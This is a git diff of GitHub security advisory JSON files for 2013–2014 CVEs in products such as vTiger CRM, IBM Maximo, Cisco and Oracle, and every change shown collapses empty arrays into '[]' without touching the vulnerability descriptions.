+7,8 @@ "CVE-2013-7326" ], "details": "Cross-site scripting (XSS) vulnerability in vTiger CRM 5.4.0 allows remote attackers to inject arbitrary web script or HTML via the (1) return_url parameter to modules\\com_vtiger_workflow\\savetemplate.php, or unspecified vectors to (2) deletetask.php, (3) edittask.php, (4) savetask.php, or (5) saveworkflow.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-w9pg-vq64-hmx5/GHSA-w9pg-vq64-hmx5.json b/advisories/unreviewed/2022/05/GHSA-w9pg-vq64-hmx5/GHSA-w9pg-vq64-hmx5.json index 365979c53ed..fef15208d24 100644 --- a/advisories/unreviewed/2022/05/GHSA-w9pg-vq64-hmx5/GHSA-w9pg-vq64-hmx5.json +++ b/advisories/unreviewed/2022/05/GHSA-w9pg-vq64-hmx5/GHSA-w9pg-vq64-hmx5.json @@ -7,12 +7,8 @@ "CVE-2013-5465" ], "details": "IBM Maximo Asset Management 7.x before 7.1.1.7 LAFIX.20140319-0837, 7.1.1.11 before IFIX.20140323-0749, 7.1.1.12 before IFIX.20140321-1336, 7.5.x before 7.5.0.3 IFIX027, and 7.5.0.4 before IFIX011; SmartCloud Control Desk 7.x before 7.5.0.3 and 7.5.1.x before 7.5.1.2; and Tivoli IT Asset Management for IT, Tivoli Service Request Manager, Maximo Service Desk, and Change and Configuration Management Database (CCMDB) 7.x before 7.1.1.7 LAFIX.20140319-0837, 7.1.1.11 before IFIX.20140207-1801, and 7.1.1.12 before IFIX.20140218-1510 do not properly restrict file types during uploads, which allows remote authenticated users to have an unspecified impact via an invalid type.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-wcr7-fc6f-7qr8/GHSA-wcr7-fc6f-7qr8.json b/advisories/unreviewed/2022/05/GHSA-wcr7-fc6f-7qr8/GHSA-wcr7-fc6f-7qr8.json index 10176d576a1..23f50068a45 100644 --- a/advisories/unreviewed/2022/05/GHSA-wcr7-fc6f-7qr8/GHSA-wcr7-fc6f-7qr8.json +++ b/advisories/unreviewed/2022/05/GHSA-wcr7-fc6f-7qr8/GHSA-wcr7-fc6f-7qr8.json @@ -7,12 +7,8 @@ "CVE-2013-5955" ], "details": "Cross-site scripting (XSS) vulnerability in manage.php in the PBBooking (com_pbbooking) component 2.4 for Joomla! allows remote attackers to inject arbitrary web script or HTML via the an arbitrary parameter in an edit action to administrator/index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-wg2v-fgm5-5p6m/GHSA-wg2v-fgm5-5p6m.json b/advisories/unreviewed/2022/05/GHSA-wg2v-fgm5-5p6m/GHSA-wg2v-fgm5-5p6m.json index ddbb3a8ce42..ddbd29e2fbb 100644 --- a/advisories/unreviewed/2022/05/GHSA-wg2v-fgm5-5p6m/GHSA-wg2v-fgm5-5p6m.json +++ b/advisories/unreviewed/2022/05/GHSA-wg2v-fgm5-5p6m/GHSA-wg2v-fgm5-5p6m.json @@ -7,12 +7,8 @@ "CVE-2013-4027" ], "details": "IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 through 7.1.1.12, and 7.5 before 7.5.0.5 allows remote authenticated users to bypass intended access restrictions via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-wg2x-hhw5-q4hx/GHSA-wg2x-hhw5-q4hx.json b/advisories/unreviewed/2022/05/GHSA-wg2x-hhw5-q4hx/GHSA-wg2x-hhw5-q4hx.json index 2ac8a190ec4..abdd24f8408 100644 --- a/advisories/unreviewed/2022/05/GHSA-wg2x-hhw5-q4hx/GHSA-wg2x-hhw5-q4hx.json +++ b/advisories/unreviewed/2022/05/GHSA-wg2x-hhw5-q4hx/GHSA-wg2x-hhw5-q4hx.json @@ -7,12 +7,8 @@ "CVE-2013-5352" ], "details": "Sharetronix 3.1.1.3, 3.1.1, and earlier allows remote attackers to execute arbitrary PHP code via the (1) activities_text parameter to services/activities/set or (2) comments_text parameter to services/comments/set, which is not properly handled when executing the preg_replace function with the e modifier.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-wg9v-ffh8-2wwj/GHSA-wg9v-ffh8-2wwj.json b/advisories/unreviewed/2022/05/GHSA-wg9v-ffh8-2wwj/GHSA-wg9v-ffh8-2wwj.json index 4de1e221477..85b8f565921 100644 --- a/advisories/unreviewed/2022/05/GHSA-wg9v-ffh8-2wwj/GHSA-wg9v-ffh8-2wwj.json +++ b/advisories/unreviewed/2022/05/GHSA-wg9v-ffh8-2wwj/GHSA-wg9v-ffh8-2wwj.json @@ -7,12 +7,8 @@ "CVE-2013-6978" ], "details": "The disaster recovery system (DRS) component in Cisco Unified Communications Manager (UCM) 9.1(1) and earlier allows remote authenticated users to obtain sensitive device information by reading \"extraneous information\" in HTML source code, aka Bug ID CSCuj39249.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-wgmr-5vfc-h3gx/GHSA-wgmr-5vfc-h3gx.json b/advisories/unreviewed/2022/05/GHSA-wgmr-5vfc-h3gx/GHSA-wgmr-5vfc-h3gx.json index 13ccf2c0d9c..f820abce379 100644 --- a/advisories/unreviewed/2022/05/GHSA-wgmr-5vfc-h3gx/GHSA-wgmr-5vfc-h3gx.json +++ b/advisories/unreviewed/2022/05/GHSA-wgmr-5vfc-h3gx/GHSA-wgmr-5vfc-h3gx.json @@ -7,12 +7,8 @@ "CVE-2013-4061" ], "details": "IBM Rational Policy Tester 8.5 before 8.5.0.5 does not properly check authorization for changes to the set of authentication hosts, which allows remote authenticated users to perform spoofing attacks involving an HTTP redirect via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-wh82-gm9c-4g9w/GHSA-wh82-gm9c-4g9w.json b/advisories/unreviewed/2022/05/GHSA-wh82-gm9c-4g9w/GHSA-wh82-gm9c-4g9w.json index bd980bfd20c..288e2d4cd6b 100644 --- a/advisories/unreviewed/2022/05/GHSA-wh82-gm9c-4g9w/GHSA-wh82-gm9c-4g9w.json +++ b/advisories/unreviewed/2022/05/GHSA-wh82-gm9c-4g9w/GHSA-wh82-gm9c-4g9w.json @@ -7,12 +7,8 @@ "CVE-2014-0618" ], "details": "Juniper Junos before 10.4 before 10.4R16, 11.4 before 11.4R8, 12.1R before 12.1R7, 12.1X44 before 12.1X44-D20, and 12.1X45 before 12.1X45-D10 on SRX Series service gateways, when used as a UAC enforcer and captive portal is enabled, allows remote attackers to cause a denial of service (flowd crash) via a crafted HTTP message.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-wjrw-qp67-6h86/GHSA-wjrw-qp67-6h86.json b/advisories/unreviewed/2022/05/GHSA-wjrw-qp67-6h86/GHSA-wjrw-qp67-6h86.json index 5ee5a6ba943..ca786860a6b 100644 --- a/advisories/unreviewed/2022/05/GHSA-wjrw-qp67-6h86/GHSA-wjrw-qp67-6h86.json +++ b/advisories/unreviewed/2022/05/GHSA-wjrw-qp67-6h86/GHSA-wjrw-qp67-6h86.json @@ -7,12 +7,8 @@ "CVE-2013-6707" ], "details": "Memory leak in the connection-manager implementation in Cisco Adaptive Security Appliance (ASA) Software 9.1(.3) and earlier allows remote attackers to cause a denial of service (multi-protocol management outage) by making multiple management session requests, aka Bug ID CSCug33233.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-wmh5-53p6-5c7v/GHSA-wmh5-53p6-5c7v.json b/advisories/unreviewed/2022/05/GHSA-wmh5-53p6-5c7v/GHSA-wmh5-53p6-5c7v.json index ba3b59c2eb0..ffb0cb98901 100644 --- a/advisories/unreviewed/2022/05/GHSA-wmh5-53p6-5c7v/GHSA-wmh5-53p6-5c7v.json +++ b/advisories/unreviewed/2022/05/GHSA-wmh5-53p6-5c7v/GHSA-wmh5-53p6-5c7v.json @@ -7,12 +7,8 @@ "CVE-2013-5445" ], "details": "IBM Cognos Express 9.0 before IFIX 2, 9.5 before IFIX 2, 10.1 before IFIX 2, and 10.2.1 before FP1 allows local users to obtain sensitive cleartext information by leveraging knowledge of a static decryption key.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-wpp8-x44c-v39q/GHSA-wpp8-x44c-v39q.json b/advisories/unreviewed/2022/05/GHSA-wpp8-x44c-v39q/GHSA-wpp8-x44c-v39q.json index 14b13374a1e..f68bb4b5cb7 100644 --- a/advisories/unreviewed/2022/05/GHSA-wpp8-x44c-v39q/GHSA-wpp8-x44c-v39q.json +++ b/advisories/unreviewed/2022/05/GHSA-wpp8-x44c-v39q/GHSA-wpp8-x44c-v39q.json @@ -7,12 +7,8 @@ "CVE-2009-3781" ], "details": "The filefield_file_download function in FileField 6.x-3.1, a module for Drupal, does not properly check node-access permissions for Drupal core private files, which allows remote attackers to access unauthorized files via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-wqf9-7q5f-3m2f/GHSA-wqf9-7q5f-3m2f.json b/advisories/unreviewed/2022/05/GHSA-wqf9-7q5f-3m2f/GHSA-wqf9-7q5f-3m2f.json index 99030f1a6d8..014860ddb5e 100644 --- a/advisories/unreviewed/2022/05/GHSA-wqf9-7q5f-3m2f/GHSA-wqf9-7q5f-3m2f.json +++ b/advisories/unreviewed/2022/05/GHSA-wqf9-7q5f-3m2f/GHSA-wqf9-7q5f-3m2f.json @@ -7,12 +7,8 @@ "CVE-2013-5415" ], "details": "Buffer overflow in IBM Rational ClearCase through 7.1.2.12, 8.0.0.x before 8.0.0.9, and 8.0.1.x before 8.0.1.2 allows local users to gain privileges via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-wqpx-vj4r-cjvj/GHSA-wqpx-vj4r-cjvj.json b/advisories/unreviewed/2022/05/GHSA-wqpx-vj4r-cjvj/GHSA-wqpx-vj4r-cjvj.json index 8269a2bc93b..f8d7be2092a 100644 --- a/advisories/unreviewed/2022/05/GHSA-wqpx-vj4r-cjvj/GHSA-wqpx-vj4r-cjvj.json +++ b/advisories/unreviewed/2022/05/GHSA-wqpx-vj4r-cjvj/GHSA-wqpx-vj4r-cjvj.json @@ -7,12 +7,8 @@ "CVE-2013-3789" ], "details": "Unspecified vulnerability in the Core RDBMS component in Oracle Database Server 10.2.0.4, 10.2.0.5, 11.1.0.7, 11.2.0.2, and 11.2.0.3 allows remote authenticated users to affect confidentiality, integrity, and availability via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-wqvv-r552-jw3p/GHSA-wqvv-r552-jw3p.json b/advisories/unreviewed/2022/05/GHSA-wqvv-r552-jw3p/GHSA-wqvv-r552-jw3p.json index 4f0ae5bf16e..42f1ebc04aa 100644 --- a/advisories/unreviewed/2022/05/GHSA-wqvv-r552-jw3p/GHSA-wqvv-r552-jw3p.json +++ b/advisories/unreviewed/2022/05/GHSA-wqvv-r552-jw3p/GHSA-wqvv-r552-jw3p.json @@ -7,12 +7,8 @@ "CVE-2013-5406" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in IBM Sterling B2B Integrator 5.2 and Sterling File Gateway 2.2 allow remote authenticated users to inject arbitrary web script or HTML via unspecified parameters, leading to improper interaction with the Windows MHTML protocol handler.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-wqx7-4gvx-6qwx/GHSA-wqx7-4gvx-6qwx.json b/advisories/unreviewed/2022/05/GHSA-wqx7-4gvx-6qwx/GHSA-wqx7-4gvx-6qwx.json index c5304bae6cb..85b06699f06 100644 --- a/advisories/unreviewed/2022/05/GHSA-wqx7-4gvx-6qwx/GHSA-wqx7-4gvx-6qwx.json +++ b/advisories/unreviewed/2022/05/GHSA-wqx7-4gvx-6qwx/GHSA-wqx7-4gvx-6qwx.json @@ -7,12 +7,8 @@ "CVE-2013-2690" ], "details": "SQL injection vulnerability in index.php in Synchroweb Technology SynConnect 2.0 allows remote attackers to execute arbitrary SQL commands via the loginid parameter in a logoff action.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-wvp8-rjf9-fj8r/GHSA-wvp8-rjf9-fj8r.json b/advisories/unreviewed/2022/05/GHSA-wvp8-rjf9-fj8r/GHSA-wvp8-rjf9-fj8r.json index d3ca7bc17bd..2ce97467479 100644 --- a/advisories/unreviewed/2022/05/GHSA-wvp8-rjf9-fj8r/GHSA-wvp8-rjf9-fj8r.json +++ b/advisories/unreviewed/2022/05/GHSA-wvp8-rjf9-fj8r/GHSA-wvp8-rjf9-fj8r.json @@ -7,12 +7,8 @@ "CVE-2013-3790" ], "details": "Unspecified vulnerability in the Core RDBMS component in Oracle Database Server 10.2.0.4, 10.2.0.5, 11.1.0.7, 11.2.0.2, and 11.2.0.3 allows remote authenticated users to affect integrity via unknown vectors related to Privileged Account.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-ww9w-54w3-crwx/GHSA-ww9w-54w3-crwx.json b/advisories/unreviewed/2022/05/GHSA-ww9w-54w3-crwx/GHSA-ww9w-54w3-crwx.json index 9074aad1ea9..329c730558f 100644 --- a/advisories/unreviewed/2022/05/GHSA-ww9w-54w3-crwx/GHSA-ww9w-54w3-crwx.json +++ b/advisories/unreviewed/2022/05/GHSA-ww9w-54w3-crwx/GHSA-ww9w-54w3-crwx.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-wxm3-qrp2-mhf2/GHSA-wxm3-qrp2-mhf2.json b/advisories/unreviewed/2022/05/GHSA-wxm3-qrp2-mhf2/GHSA-wxm3-qrp2-mhf2.json index 62603cc8973..41bb650729c 100644 --- a/advisories/unreviewed/2022/05/GHSA-wxm3-qrp2-mhf2/GHSA-wxm3-qrp2-mhf2.json +++ b/advisories/unreviewed/2022/05/GHSA-wxm3-qrp2-mhf2/GHSA-wxm3-qrp2-mhf2.json @@ -7,12 +7,8 @@ "CVE-2013-6329" ], "details": "IBM Global Security Kit (aka GSKit), as used in Content Manager OnDemand 8.5 and 9.0 and other products, allows remote attackers to cause a denial of service via a crafted handshake during resumption of an SSLv2 session.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -52,9 +48,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-x39q-2wv2-8mx8/GHSA-x39q-2wv2-8mx8.json b/advisories/unreviewed/2022/05/GHSA-x39q-2wv2-8mx8/GHSA-x39q-2wv2-8mx8.json index fa6c8a582b2..3be32d57147 100644 --- a/advisories/unreviewed/2022/05/GHSA-x39q-2wv2-8mx8/GHSA-x39q-2wv2-8mx8.json +++ b/advisories/unreviewed/2022/05/GHSA-x39q-2wv2-8mx8/GHSA-x39q-2wv2-8mx8.json @@ -7,12 +7,8 @@ "CVE-2013-7321" ], "details": "Cross-site scripting (XSS) vulnerability in D-Link DAP-2253 Access Point (Rev. A1) with firmware before 1.30 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-x3j9-pm2c-qgwp/GHSA-x3j9-pm2c-qgwp.json b/advisories/unreviewed/2022/05/GHSA-x3j9-pm2c-qgwp/GHSA-x3j9-pm2c-qgwp.json index 99bae2cff82..65d9e4ecc73 100644 --- a/advisories/unreviewed/2022/05/GHSA-x3j9-pm2c-qgwp/GHSA-x3j9-pm2c-qgwp.json +++ b/advisories/unreviewed/2022/05/GHSA-x3j9-pm2c-qgwp/GHSA-x3j9-pm2c-qgwp.json @@ -7,12 +7,8 @@ "CVE-2013-5821" ], "details": "Unspecified vulnerability in Oracle Solaris 8, 9, 10, and 11.1 allows local users to affect confidentiality, integrity, and availability via vectors related to RPC.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-x485-4j7w-fwxw/GHSA-x485-4j7w-fwxw.json b/advisories/unreviewed/2022/05/GHSA-x485-4j7w-fwxw/GHSA-x485-4j7w-fwxw.json index e8239856653..621656c9f8d 100644 --- a/advisories/unreviewed/2022/05/GHSA-x485-4j7w-fwxw/GHSA-x485-4j7w-fwxw.json +++ b/advisories/unreviewed/2022/05/GHSA-x485-4j7w-fwxw/GHSA-x485-4j7w-fwxw.json @@ -7,12 +7,8 @@ "CVE-2014-0668" ], "details": "Cross-site scripting (XSS) vulnerability in the portal in Cisco Secure Access Control System (ACS) allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka Bug ID CSCue65949.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-x4cm-7ff7-8m4h/GHSA-x4cm-7ff7-8m4h.json b/advisories/unreviewed/2022/05/GHSA-x4cm-7ff7-8m4h/GHSA-x4cm-7ff7-8m4h.json index 76ef81c80e5..7e0744d1e77 100644 --- a/advisories/unreviewed/2022/05/GHSA-x4cm-7ff7-8m4h/GHSA-x4cm-7ff7-8m4h.json +++ b/advisories/unreviewed/2022/05/GHSA-x4cm-7ff7-8m4h/GHSA-x4cm-7ff7-8m4h.json @@ -7,12 +7,8 @@ "CVE-2013-5488" ], "details": "Cisco Common Services, as used in Cisco Prime LAN Management Solution (LMS), Cisco Security Manager, Cisco Unified Service Monitor, and Cisco Unified Operations Manager, does not properly interact with the ActiveMQ component, which allows remote attackers to cause a denial of service (memory consumption) via simultaneous TCP sessions, aka Bug IDs CSCuh54766, CSCuh01267, CSCuh95976, and CSCuh95969.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-x5cw-86rm-555x/GHSA-x5cw-86rm-555x.json b/advisories/unreviewed/2022/05/GHSA-x5cw-86rm-555x/GHSA-x5cw-86rm-555x.json index b42c548f095..a526d9d5aa5 100644 --- a/advisories/unreviewed/2022/05/GHSA-x5cw-86rm-555x/GHSA-x5cw-86rm-555x.json +++ b/advisories/unreviewed/2022/05/GHSA-x5cw-86rm-555x/GHSA-x5cw-86rm-555x.json @@ -7,12 +7,8 @@ "CVE-2013-4368" ], "details": "The outs instruction emulation in Xen 3.1.x, 4.2.x, 4.3.x, and earlier, when using FS: or GS: segment override, uses an uninitialized variable as a segment base, which allows local 64-bit PV guests to obtain sensitive information (hypervisor stack content) via unspecified vectors related to stale data in a segment register.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-x62c-8f45-jx5r/GHSA-x62c-8f45-jx5r.json b/advisories/unreviewed/2022/05/GHSA-x62c-8f45-jx5r/GHSA-x62c-8f45-jx5r.json index b6c9fad9edd..bc34167da05 100644 --- a/advisories/unreviewed/2022/05/GHSA-x62c-8f45-jx5r/GHSA-x62c-8f45-jx5r.json +++ b/advisories/unreviewed/2022/05/GHSA-x62c-8f45-jx5r/GHSA-x62c-8f45-jx5r.json @@ -7,12 +7,8 @@ "CVE-2013-4041" ], "details": "Unspecified vulnerability in IBM Java SDK 5.0.0 before SR16 FP4, 7.0.0 before SR6, 6.0.1 before SR7, and 6.0.0 before SR15 allows remote attackers to access restricted classes via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -68,9 +64,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-x65r-wv8w-xvpx/GHSA-x65r-wv8w-xvpx.json b/advisories/unreviewed/2022/05/GHSA-x65r-wv8w-xvpx/GHSA-x65r-wv8w-xvpx.json index 35bf2e77e18..cb203326ad7 100644 --- a/advisories/unreviewed/2022/05/GHSA-x65r-wv8w-xvpx/GHSA-x65r-wv8w-xvpx.json +++ b/advisories/unreviewed/2022/05/GHSA-x65r-wv8w-xvpx/GHSA-x65r-wv8w-xvpx.json @@ -7,12 +7,8 @@ "CVE-2013-6746" ], "details": "Cross-site scripting (XSS) vulnerability in FileNet P8 Platform Documentation Installable Info Center 4.5.1 through 5.2.0 in IBM FileNet Business Process Manager 4.5.1 through 5.1.0, FileNet Content Manager 4.5.1 through 5.2.0, and Case Foundation 5.2.0 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-x6cx-733p-7vfh/GHSA-x6cx-733p-7vfh.json b/advisories/unreviewed/2022/05/GHSA-x6cx-733p-7vfh/GHSA-x6cx-733p-7vfh.json index 7f83d7f835e..09f6af654fe 100644 --- a/advisories/unreviewed/2022/05/GHSA-x6cx-733p-7vfh/GHSA-x6cx-733p-7vfh.json +++ b/advisories/unreviewed/2022/05/GHSA-x6cx-733p-7vfh/GHSA-x6cx-733p-7vfh.json @@ -7,12 +7,8 @@ "CVE-2013-3770" ], "details": "Unspecified vulnerability in the Oracle WebCenter Content component in Oracle Fusion Middleware 10.1.3.5.1, 11.1.1.6.0, and 11.1.1.7.0 allows remote authenticated users to affect confidentiality and integrity via unknown vectors related to Content Server. NOTE: the previous information is from the October 2013 CPU. Oracle has not commented on claims from a third party that the issue is related to \"iDoc script injection\" in the (1) cs and (2) urm components, which allows attackers to read \"sensitive\" files, as demonstrated by obtaining the \"AES encryption key and encrypted credentials\" of the weblogic user.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-x757-ww73-gg57/GHSA-x757-ww73-gg57.json b/advisories/unreviewed/2022/05/GHSA-x757-ww73-gg57/GHSA-x757-ww73-gg57.json index a16e3e245fd..a44d535c0b6 100644 --- a/advisories/unreviewed/2022/05/GHSA-x757-ww73-gg57/GHSA-x757-ww73-gg57.json +++ b/advisories/unreviewed/2022/05/GHSA-x757-ww73-gg57/GHSA-x757-ww73-gg57.json @@ -7,12 +7,8 @@ "CVE-2013-4802" ], "details": "Cross-site scripting (XSS) vulnerability in HP Application Lifecycle Management (ALM) Quality Center before 11.51 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka ZDI-CAN-1565.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-x7gj-6rqh-gg7r/GHSA-x7gj-6rqh-gg7r.json b/advisories/unreviewed/2022/05/GHSA-x7gj-6rqh-gg7r/GHSA-x7gj-6rqh-gg7r.json index 049929d3a18..17746630ac0 100644 --- a/advisories/unreviewed/2022/05/GHSA-x7gj-6rqh-gg7r/GHSA-x7gj-6rqh-gg7r.json +++ b/advisories/unreviewed/2022/05/GHSA-x7gj-6rqh-gg7r/GHSA-x7gj-6rqh-gg7r.json @@ -7,12 +7,8 @@ "CVE-2013-5885" ], "details": "Unspecified vulnerability in Oracle Solaris 11.1 allows local users to affect integrity via unknown vectors related to Audit.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-x8mp-q875-3hv2/GHSA-x8mp-q875-3hv2.json b/advisories/unreviewed/2022/05/GHSA-x8mp-q875-3hv2/GHSA-x8mp-q875-3hv2.json index 0ab5d1cea54..c7d1f2fc871 100644 --- a/advisories/unreviewed/2022/05/GHSA-x8mp-q875-3hv2/GHSA-x8mp-q875-3hv2.json +++ b/advisories/unreviewed/2022/05/GHSA-x8mp-q875-3hv2/GHSA-x8mp-q875-3hv2.json @@ -7,12 +7,8 @@ "CVE-2014-0669" ], "details": "The Wireless Session Protocol (WSP) feature in the Gateway GPRS Support Node (GGSN) component on Cisco ASR 5000 series devices allows remote attackers to bypass intended Top-Up payment restrictions via unspecified WSP packets, aka Bug ID CSCuh28371.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-x8vq-w9vg-j573/GHSA-x8vq-w9vg-j573.json b/advisories/unreviewed/2022/05/GHSA-x8vq-w9vg-j573/GHSA-x8vq-w9vg-j573.json index 6c84ef358dd..f4ac78be9da 100644 --- a/advisories/unreviewed/2022/05/GHSA-x8vq-w9vg-j573/GHSA-x8vq-w9vg-j573.json +++ b/advisories/unreviewed/2022/05/GHSA-x8vq-w9vg-j573/GHSA-x8vq-w9vg-j573.json @@ -7,12 +7,8 @@ "CVE-2014-0815" ], "details": "The intent: URL implementation in Opera before 18 on Android allows attackers to read local files by leveraging an interaction error, as demonstrated by reading stored cookies.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-x975-qcf7-3vh2/GHSA-x975-qcf7-3vh2.json b/advisories/unreviewed/2022/05/GHSA-x975-qcf7-3vh2/GHSA-x975-qcf7-3vh2.json index abceb79774c..640821d532e 100644 --- a/advisories/unreviewed/2022/05/GHSA-x975-qcf7-3vh2/GHSA-x975-qcf7-3vh2.json +++ b/advisories/unreviewed/2022/05/GHSA-x975-qcf7-3vh2/GHSA-x975-qcf7-3vh2.json @@ -7,12 +7,8 @@ "CVE-2013-4551" ], "details": "Xen 4.2.x and 4.3.x, when nested virtualization is disabled, does not properly check the emulation paths for (1) VMLAUNCH and (2) VMRESUME, which allows local HVM guest users to cause a denial of service (host crash) via unspecified vectors related to \"guest VMX instruction execution.\"", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-x9mh-g65h-7rhq/GHSA-x9mh-g65h-7rhq.json b/advisories/unreviewed/2022/05/GHSA-x9mh-g65h-7rhq/GHSA-x9mh-g65h-7rhq.json index 2771edfa504..787ce9f22f3 100644 --- a/advisories/unreviewed/2022/05/GHSA-x9mh-g65h-7rhq/GHSA-x9mh-g65h-7rhq.json +++ b/advisories/unreviewed/2022/05/GHSA-x9mh-g65h-7rhq/GHSA-x9mh-g65h-7rhq.json @@ -7,12 +7,8 @@ "CVE-2013-5320" ], "details": "Cross-site scripting (XSS) vulnerability in Forums/EditPost.aspx in 